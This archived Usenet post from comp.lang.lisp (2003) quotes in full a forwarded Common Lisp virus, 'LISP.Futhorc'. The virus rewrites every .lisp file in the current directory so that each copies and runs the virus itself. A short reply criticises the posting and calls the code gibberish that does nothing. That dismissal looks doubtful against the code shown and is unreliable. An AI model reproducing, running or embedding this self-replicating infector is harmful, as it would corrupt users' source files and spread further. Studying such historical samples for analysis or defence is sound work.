Веб Зображення Новини Групи Блоги Перекладач Gmail Ще »
Групи, які ви переглядали нещодавно | Довідка | Увійти
Головна сторінка Груп Google
Допис з розмови Just for fun

Переглянути розібране Показувати лише текст повідомлення

Path: archiver1.google.com!news1.google.com!newsfeed.stanford.edu!news-spur1.maxwell.syr.edu!news.maxwell.syr.edu!feed2.news.rcn.net!rcn!elnk-nf1-atl!newsfeed.earthlink.net!in.100proofnews.com!in.100proofnews.com!cycny01.gnilink.net!cyclone1.gnilink.net!spamkiller.gnilink.net!nwrddc01.gnilink.net.POSTED!53ab2750!not-for-mail
Sender: cstacy@BONK
Newsgroups: comp.lang.lisp
Subject: Re: [Fwd] Just for fun
References: <d05tsxm0j.ln2@elaleph.borges.cgitftp.uiggm.nsc.ru>
From: cst...@dtpq.com (Christopher C. Stacy)
Message-ID: <u65mrus6p.fsf@dtpq.com>
Lines: 41
User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Fri, 27 Jun 2003 21:27:50 GMT
NNTP-Posting-Host: 151.203.221.107
X-Complaints-To: abuse@verizon.net
X-Trace: nwrddc01.gnilink.net 1056749270 151.203.221.107 (Fri, 27 Jun 2003 17:27:50 EDT)
NNTP-Posting-Date: Fri, 27 Jun 2003 17:27:50 EDT

>>>>> On Fri, 27 Jun 2003 13:32:13 +0700, Ivan Boldyrev ("Ivan") writes:

 Ivan> From: "Ilya V. Vasilyev" (2:5020/287)
 Ivan> Subject: Just for fun
 Ivan> Newsgroups: fido7.xsu.hacker
 Ivan> Date: Thu, 26 Jun 2003 10:27:28 +0600
 Ivan> Organization: Hackers' POWER BBS

 Ivan> =============================================================================
 Ivan> * Forwarded by Ilya V. Vasilyev (2:5020/287)
 Ivan> * Area : su.cm (su.cm)
 Ivan> * From : andrew baranovich, 2:465/215 (Wednesday June 25 2003 15:21)
 Ivan> * To   : All
 Ivan> * Subj : Just for fun
 Ivan> =============================================================================
 Ivan> * Originally in su.cm
 Ivan> Crossposted to pvt.virii
 Ivan> Crossposted to ru.virus

 Ivan> ;; Virus LISP.Futhorc by herm1t(at)netlux.org / Jun'03
 Ivan> (setq virus '(defun infect (&optional (ls (directory "*.lisp")))
 Ivan>   (defun writel (l s) (when l (write-line (car l) s) (writel (cdr l) s)))
 Ivan>   (when (setq vic (car ls))
 Ivan>     (let ((p nil)) (with-open-file (i vic :direction :input)
 Ivan>       (unless (equal (second (read i)) 'VIRUS) (file-position i 0)
 Ivan>         (loop (unless (setq line (read-line i nil nil)) (return))
 Ivan>           (setq p (append p (list line))))))
 Ivan>       (when p (with-open-file (o vic :direction :output)
 Ivan>         (format o "(setq virus '~S~%)(eval virus)(infect)~%" virus)
 Ivan>  (writel p o))))
 Ivan>     (infect (cdr ls))))
 Ivan> )(eval virus)(infect)

I would be circumspect in writing programs called "Virus" and posting
them on the net in so-called "hacker" newsgroups, even if it is supposed
to be (I assume) some kind of joke.  It looks like you are not the original
author of the "virus" program, but can you understand what you have posted?  
It's as if someone has cut-and-pasted fragments of Lisp code from
other programs, without understanding what they were copying.
This program is a lot of gibberish and does not do anything at all:
most of it is never even executed.

Створити групу - Групи Google - Домашня сторінка Google - Правила користування послугою - Заява про конфіденційність і нерозголошення інформації
©2009 Google